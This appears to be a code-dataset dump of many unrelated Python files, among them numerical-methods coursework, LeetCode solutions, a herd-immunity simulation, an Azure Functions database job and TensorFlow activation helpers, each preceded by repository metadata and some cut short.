d62bca3db8c7272c1915b8a2b54434fc1dfc6083 | Python | rturne28/TAMU_classwork | /Numerical_Methods/1D_FEM_Hermite/PA_4_main.py | UTF-8 | 3,315 | 2.671875 | 3 | [] | no_license | import sympy as sy
import numpy as np
import math as m
from PA_4_Utilities import FEM
from scipy.interpolate import lagrange
import matplotlib.pyplot as plt
import time
start_time = time.time()
def doit():
prob_list = [0, 1, 2, 3, 4, 5]
e_list = [6, 11, 21, 41]
fig_list = ['P0.pdf', 'P1.pdf', '... | true |
987892588ec582a9ea88c165bbe0abd8961798a6 | Python | houhailun/leetcode | /剑指offer/09_两个栈实现队列.py | UTF-8 | 1,487 | 4.03125 | 4 | [] | no_license | #!/usr/bin/env python
# -*- coding:utf-8 -*-
# Time: 2020/3/3 15:27
# Author: Hou hailun
# 用两个栈实现一个队列。队列的声明如下,
# 请实现它的两个函数 appendTail 和 deleteHead ,分别完成在队列尾部插入整数和在队列头部删除整数的功能。
# (若队列中没有元素,deleteHead 操作返回 -1 )
# 示例 1:
# 输入:
# ["CQueue","appendTail","deleteHead","deleteHead"]
# [[],[3],[],[]]
# 输出:[null,null,3,-1]
# 示例 ... | true |
1f3c86cfaf56c14a1eca0668a20155e7e0bb27cf | Python | Alfonsxh/Python | /WebSpiderFramework/Xpath/lxmltest.py | UTF-8 | 2,152 | 3.234375 | 3 | [] | no_license | """
@Author : Alfons
@Contact: alfons_xh@163.com
@File : lxmltest.py
@Time : 2018/11/29 9:49
"""
from lxml import etree
html_name = "test.html"
html_content = """
<html>
<head>
<title>The Dormouse's story</title>
</head>
<body>
<p class="title story" name="dromouse story">The Do... | true |
60eb14ade1381837878bdabd3dbd2c7a433111c3 | Python | jlking2/Image_deblurring | /LASSO_final.py | UTF-8 | 8,074 | 2.5625 | 3 | [] | no_license | # -*- coding: utf-8 -*-
"""
Created on Tue Apr 20 18:41:53 2021
@author: jlking2
"""
#w_hat = get_lasso_small(img_blur_train_flat,img_pix_reshape,lambda_lasso)
def get_lasso_small(A,d,la):
max_iter = 10**4
tol = 10**(-3)
tau = 1/np.linalg.norm(A,2)**2
n = A.shape[1]
w = np.zeros((n,1))
for j ... | true |
830e297bad0330dd999b916e5c2164dd821bdc2d | Python | sowmyac3/week_2_assignment | /Assignment week 2/numbers_descending_pattern.py | UTF-8 | 127 | 3.65625 | 4 | [] | no_license |
rows = 5
for i in range(rows,0,-1):
j=i
for j in range(0,i):
print(i, end=" ")
print("\r")
| true |
dd3cc9ea83feb5c5bffcb6b366b1fc263bc0745c | Python | ryfeus/lambda-packs | /Skimage_numpy/source/skimage/restoration/_denoise.py | UTF-8 | 12,502 | 3.109375 | 3 | [
"MIT"
] | permissive | # coding: utf-8
import numpy as np
from math import ceil
from .. import img_as_float
from ..restoration._denoise_cy import _denoise_bilateral, _denoise_tv_bregman
from .._shared.utils import _mode_deprecations, skimage_deprecation, warn
import warnings
def denoise_bilateral(image, win_size=None, sigma_color=None, sig... | true |
dbe2333ab1f67abb6c7edd698bd0f440b8d56c86 | Python | xys234/coding-problems | /algo/design/design_most_recently_used_queue.py | UTF-8 | 1,249 | 3.90625 | 4 | [] | no_license | """
LC-1756. Design Most Recently Used Queue
Design a queue-like data structure that moves the most recently used element to the end of the queue.
Implement the MRUQueue class:
MRUQueue(int n) constructs the MRUQueue with n elements: [1,2,3,...,n].
fetch(int k) moves the kth element (1-indexed) to the end of the que... | true |
1e662e645b2d3dd2b1b8d6d1a8f47da1bf77e03a | Python | quantbruce/leetcode_test | /数据结构相关/链表/206. 反转链表.py | UTF-8 | 1,967 | 4.25 | 4 | [] | no_license | 206. 反转链表
反转一个单链表。
示例:
输入: 1->2->3->4->5->NULL
输出: 5->4->3->2->1->NULL
进阶:
你可以迭代或递归地反转链表。你能否用两种方法解决这道题?
"""
执行用时 :
40 ms
, 在所有 Python3 提交中击败了
81.82%
的用户
内存消耗 :
14.6 MB
, 在所有 Python3 提交中击败了
20.59%
的用户
"""
##########方法1(双指针迭代)
class Solution(object):
def reverseList(self, head):
"""
:type head: ListNode
:rtyp... | true |
07bb559416ed8224c864fa9a2bb1f68c07498fe2 | Python | So1itarius/Polus | /src/tools.py | UTF-8 | 975 | 3 | 3 | [] | no_license | import re
from decimal import Decimal
from datetime import datetime, timedelta
import time
class Tools():
def clear(self, string):
if string is None or string.strip() == '':
return None
return re.sub(' +',' ', string.strip().replace('\n','').replace('\r','').replace('\t',''))
def t... | true |
01d5e1ba58d5645bc2e799134b6d100a1ff8fb06 | Python | sagarbaver/PPDM | /Code_Genetic_CS/final_time.py | UTF-8 | 385 | 2.9375 | 3 | [] | no_license | from cuckoo_time import *
from GA_time import *
from random import randint
import matplotlib.pyplot as plt
itr = []
for i in range(0,50):
x = randint(0,10)
print i
itr.append(i)
calTime(x)
gaTime(x)
print gItr
print gTime
print cTime
'''
plt.plot(itr,cItr,'--')
plt.plot(itr, gItr, 'b')
plt.axis([0,50,0,20])
'''... | true |
ab6b741c1df4f42d32e8f20fa7cac2cae832936f | Python | alexandraback/datacollection | /solutions_1485490_0/Python/mfred/C.py | UTF-8 | 1,663 | 3 | 3 | [] | no_license | input = open('small.in', 'r').read()
# input="""4
# 3 3
# 10 1 20 2 25 3
# 10 2 30 3 20 1
# 3 5
# 10 1 6 2 10 1
# 5 1 3 2 10 1 3 2 5 1
# 3 5
# 10 1 6 2 10 1
# 5 1 6 2 10 1 6 2 5 1
# 1 1
# 5000000 10
# 5000000 100"""
lines = input.split("\n")
cur_line = 1
i=1
def best_prod(cA,cB):
if len(cB) == 0 or len(cA) == 0:... | true |
826181e55ee267ff53a004439815aa79bfb27860 | Python | jaymody/leetcode | /python/1106 - Parsing A Boolean Expression.py | UTF-8 | 1,155 | 3.703125 | 4 | [] | no_license | # 1106
# Parsing A Boolean Expression
# https://leetcode.com/problems/parsing-a-boolean-expression/
# python
# hard
# O(n)
# O(n)
# string
# O(n) O(n) solution that is messy to read
# but fast and uses very little space
class Solution:
def iterate(self, expression):
op = expression[0]
ops ... | true |
314304a8063abb2975df267020cbcd2519f7a0da | Python | Tanner-York-Make-School/CS-1.1-Intro-to-Programming | /Projects/Herd-Immunity-Simulation/simulation.py | UTF-8 | 8,746 | 3.3125 | 3 | [
"MIT"
] | permissive | import random, sys
import uuid
random.seed(42)
from person import Person
from logger import Logger
from virus import Virus
class Simulation(object):
''' Main class that will run the herd immunity simulation program.
Expects initialization parameters passed as command line arguments when file is run.
Simu... | true |
0ea7372c4089a63a640c0e9e80bb7b7f6e0a657c | Python | yShimoka/Python-Bataille-Navale | /engine/logic/GameManager.py | UTF-8 | 798 | 3.40625 | 3 | [
"MIT"
] | permissive | # Copyright © 2019 CAILLAUD Jean-Baptiste.
# Import the abstract classes.
from abc import ABC, abstractmethod
class GameManager(ABC):
"""
GameManager class. Holds information that is stored during the entire game's run time.
Attributes:
config The game manager's configuration object.
"... | true |
8b9f3fbe047a53377aee3f7b71bcbf5ff08d0896 | Python | Gi1ia/TechNoteBook | /Algorithm/145_Binary_Tree_Postorder.py | UTF-8 | 1,420 | 3.546875 | 4 | [] | no_license | # Definition for a binary tree node.
# class TreeNode:
# def __init__(self, x):
# self.val = x
# self.left = None
# self.right = None
class Solution:
def postorderTraversal(self, root):
"""
:type root: TreeNode
:rtype: List[int]
"""
if not root:
... | true |
3924a7f2adfa8226c5d24d0bac291f723f8d8187 | Python | AndreiNepsha/shen_book_problems | /2_2_1.py | UTF-8 | 1,061 | 3.78125 | 4 | [] | no_license | # 2.2.1. Напечатайте все перестановки чисел 1..n
# (то есть последовательности длины n, в которые каждое
# из этих чисел входит по одному разу).
# 1 2 3 4
# 1 2 4 3
# 1 3 2 4
# 1 3 4 2
# 1 4 2 3
# 1 4 3 2
# 2 1 3 4
#
# 4 3 2 1
def swap(a, i1, i2):
tmp = a[i1]
a[i1] = a[i2]
a[i2] = tmp
def generateSetSw... | true |
8c2ff3ef386b0f2e3f0f55237657cc8d5c0d77fd | Python | topher097/SeniorAE | /19_Fall/AE483/rotationMatrixCalc.py | UTF-8 | 1,511 | 2.671875 | 3 | [] | no_license | from sympy import *
import numpy as np
from Fall2019.AE483.Lab1.AE483_lab1_report import dataCalculations
class rotationMatrixCalc:
def __init__(self):
self.data = dataCalculations.parse(self)
def rotationCalc(self):
# Calculate the rotation matrix for the mocap values
t_y = Symbol('t... | true |
a117598a0c05c72f7c3f2368840af656da043218 | Python | HackerajOfficial/PythonExamples | /Decorator.py | UTF-8 | 230 | 3.46875 | 3 | [] | no_license | '''Decorator'''
def decor(func):
def wrap():
print("===============")
func()
print("===============")
return wrap
def print_text():
print("Hello World!")
decorted=decor(print_text)
decorted() | true |
4651bc9522c9064da6e79cab5ce9a684b7e76ed7 | Python | JulieZhang0102/MIS3640 | /session17/group.py | UTF-8 | 601 | 4.15625 | 4 | [] | no_license | class Cat:
'''
Represent a cat with attrabutes breed, weight, age, eyecolor
'''
def __init__(self, breed = "Ragdoll", weight = 10, age = 3, eyecolor = []):
self.breed = breed
self.weight = weight
self.age = age
self.eyecolor = eyecolor
def __str__(self):
ret... | true |
cde0ea2ae512c6f9c4f406766dd141ad5b9925a7 | Python | DaHuO/Supergraph | /codes/CodeJamCrawler/16_0_2_neat/16_0_2_coderush_p2_small.py | UTF-8 | 232 | 3.109375 | 3 | [] | no_license | t=int(raw_input())
for tcase in xrange(t):
pcakes=raw_input().strip()
flips=0
for i in xrange(len(pcakes)-1):
if pcakes[i]!=pcakes[i+1]:
flips+=1
if pcakes[-1]=='-':
flips+=1
print "Case #"+str(tcase+1)+": "+str(flips)
| true |
40b7e16d518ae1f39d7f9e6a7a55aba9d379aa9c | Python | immervoll/squadEnum | /lib/cli.py | UTF-8 | 2,444 | 2.984375 | 3 | [] | no_license | #core functions related to commandline interfaces
import time
from colorama import init, Fore
init(autoreset=True)
logfile = f"./logs/log {time.ctime()}.txt".replace(" ","-").replace(":", "-")
def log(payload:str, type:int = 1): # -> formats & logs a payload based on type
"""
Parameters
| payload : str
|... | true |
26626a1c0dbed5091516d8d223be6205cacd9bbd | Python | sumeet-iitg/ChatBotFramework | /weatherAssistant/weather_report.py | UTF-8 | 3,331 | 3.28125 | 3 | [] | no_license | from weatherbit.api import Api
import datetime
from textToSpeech import text_to_speech
# Set the granularity of the API - Options: ['daily','hourly','3hourly']
class weather_report:
def __init__(self, api_key=None):
self.weather_condition_templates = { "precipitation": {"chance": " there is a %s per cent ... | true |
e6d15c96a5415a8ff574ba85656463aedcbeab65 | Python | zhenguo96/test1 | /Python基础笔记/11/代码/回顾.py | UTF-8 | 962 | 3.921875 | 4 | [] | no_license | def demo1(k,j):
print(k,j)
#1.位置参数
print(demo1(1,2))
# 关键字参数(实参)
demo1(j=3,k=2)
# 3.默认值 从右向左给形参覆默认值
def demo2(a,b,c=4):
print(a,c,b)
demo2(2,3)
demo2(3,2,1)
# 任意位置参数
def demo3(*args):
print(*args)
demo3(1,2,3,4,1)
# 任意关键字参数
def demo4(**kwargs):
print(kwargs)
demo4(a=3)
dem... | true |
52dd6e270b26e19fa4c84c4fec188c15c3eb2c7e | Python | beenorgone-notebook/python-notebook | /py-practice/py-practice-hackerrank/Python/Functional/validating_email_with_filter.py | UTF-8 | 353 | 2.9375 | 3 | [
"MIT"
] | permissive | # https://www.hackerrank.com/challenges/validate-list-of-email-address-with-filter
import re
email_pattern = '^[a-zA-Z0-9_-]+@[a-zA-Z0-9]+\.[a-zA-Z0-9]{,3}$'
email_regex = re.compile(email_pattern)
N = int(input().strip())
emails = tuple(input().strip() for _ in range(N))
valid_emails = filter(email_regex.match, emai... | true |
d51d8660c56cd7e92752c9dba3ceaf5374393135 | Python | whqnloyd/MyTest | /opencv/video.py | UTF-8 | 608 | 2.953125 | 3 | [] | no_license | import cv2
# Step1. 构造VideoCapture对象
cap = cv2.VideoCapture('video/Arduino Quadruped Robot - YouTube.MP4')
# Step2. 创建一个背景分割器
# createBackgroundSubtractorKNN()函数里,可以指定detectShadows的值
# detectShadows=True,表示检测阴影,反之不检测阴影
knn = cv2.createBackgroundSubtractorKNN(detectShadows=True)
while True :
ret, frame = cap.read... | true |
fd9e0959aa27a3c3b1648036a16869e6cab2ed56 | Python | GergelyM/ClassroomHelper | /CreateNewDB.py | UTF-8 | 10,936 | 2.71875 | 3 | [] | no_license | ####################################################################################
#
# You * MUST NOT * run this script!
# If you do so it will overwrite your DB file with an empty version of it.
# You are welcome to read it if you need more info of the structure or
# the how-to of the table population functions. The... | true |
089bc4d739735e2b00c44e2131cc2b28f26b3385 | Python | Graren/Pi-Signage-Server | /srv/testWS/wsGroups.py | UTF-8 | 674 | 2.828125 | 3 | [] | no_license | class Singleton(type):
_instances = {}
def __call__(cls, *args, **kwargs):
if cls not in cls._instances:
cls._instances[cls] = super(Singleton, cls).__call__(*args, **kwargs)
return cls._instances[cls]
#Python3
class GroupWsHolder(metaclass=Singleton):
group = {}
def __init... | true |
bf7eac8f310ea238352a085765f8937974027e35 | Python | ssachde5/msi-azure-functions-linux | /TimerTriggerMSI/__init__.py | UTF-8 | 2,870 | 2.71875 | 3 | [] | no_license | import datetime
import logging
import requests
import pyodbc
import os
import struct
import azure.functions as func
def main(mytimer: func.TimerRequest) -> None:
utc_timestamp = datetime.datetime.utcnow().replace(
tzinfo=datetime.timezone.utc).isoformat()
#calling msi function to connect to db
con... | true |
248d6cfc37de4e5f6045e6ae479e4e4373a775f1 | Python | MagomedAnasov/the_self_taught_programmer_by_cory_althoff | /Chapter 12/Python_ex3.py | UTF-8 | 350 | 3.65625 | 4 | [] | no_license | class Triangle():
def __init__(self,b,h):
"""S=1?2⋅a⋅b⋅sin(α), где a, b — стороны треугольника, α — угол между ними."""
self.base = b
self.height = h
def area(self):
return self.height * self.base / 2
triangle = Triangle(20,15)
print(triangle.area()) | true |
af8df39d1a52e1ac6b05e9f4904c9849f8952c29 | Python | duxiaobu/data_structure | /20_05_21/两个数组的交集.py | UTF-8 | 659 | 3.453125 | 3 | [] | no_license | class Solution:
def intersection(self, nums1: [int], nums2: [int]) -> [int]:
# 工程代码
set1 = set(nums1)
set2 = set(nums2)
inter = set1.intersection(set2)
return list(inter)
def intersection2(self, nums1: [int], nums2: [int]) -> [int]:
inter = set()
res = []... | true |
22153b31ed961a63aa1cf91f51fa8c60e2065a70 | Python | Mr-Umidjon/python-tasks-sariq-dev | /29-lesson/javoblar.29.1.py | UTF-8 | 833 | 2.546875 | 3 | [] | no_license | # -*- coding: utf-8 -*-
"""
Created on Tue Jun 22 22:00:26 2021
@author: WINDOWS 10
"""
class Avto():
def __init__(self, ishlab_chiqaruvchi, model, rang, korobka, narh):
self.ishlab_chiqaruvchi = ishlab_chiqaruvchi.upper()
self.model = model.title()
self.rang = rang.title()
self.na... | true |
106e428106712ac1edddea97a1195526b619d44b | Python | kcaashish/PythonJamProjects | /src/mcars1.py | UTF-8 | 5,797 | 3.03125 | 3 | [] | no_license | import numpy as np
from matplotlib import pyplot as plt
plt.style.use("ggplot")
def microcar(expectedList, actualList):
actualDistArray = np.empty((0, 2), float)
actualHorDispArray = np.empty((0, 2), float)
actualVertDispArray = np.empty((0, 2), float)
expectedDistArray = np.empty((0, 2), float)
... | true |
93d4d48192cd3227f96d77f78e052029fc2f197c | Python | ldenneau/mopsng | /python/MOPS/Alerts/plugins/unlinked_fast_movers.py | UTF-8 | 2,829 | 3.125 | 3 | [] | no_license | #!/usr/bin/env python
"""
plugins.unlinked_fast_movers
MOPS Alert Rule that returns Tracklets which
1. Are unlinked
2. Have velocity > MIN_VELOCITY
if the current simulation mjd is > start of OC + 19
This is an example of a fairly complicated rule that does not access
DerivedObject instaces at all... | true |
445874126af043f667cb473be3e45a069bd2ca14 | Python | longhopefor/Interview | /github/Algorithm_Interview_Notes-Chinese/_codes/my_tensorflow/src/activations/relu.py | UTF-8 | 1,233 | 3.234375 | 3 | [
"MIT"
] | permissive | """ReLU 系列激活函数"""
import tensorflow as tf
from ..utils import get_w, get_shape
from ..initializers import constant
def relu(x):
"""ReLU
`o = max(0., x)`
"""
return tf.nn.relu(x)
def relu6(x):
"""
`o = min(max(x, 0), 6)`
"""
return tf.nn.relu6(x)
def crelu(x, axis=-1):
"""Conca... | true |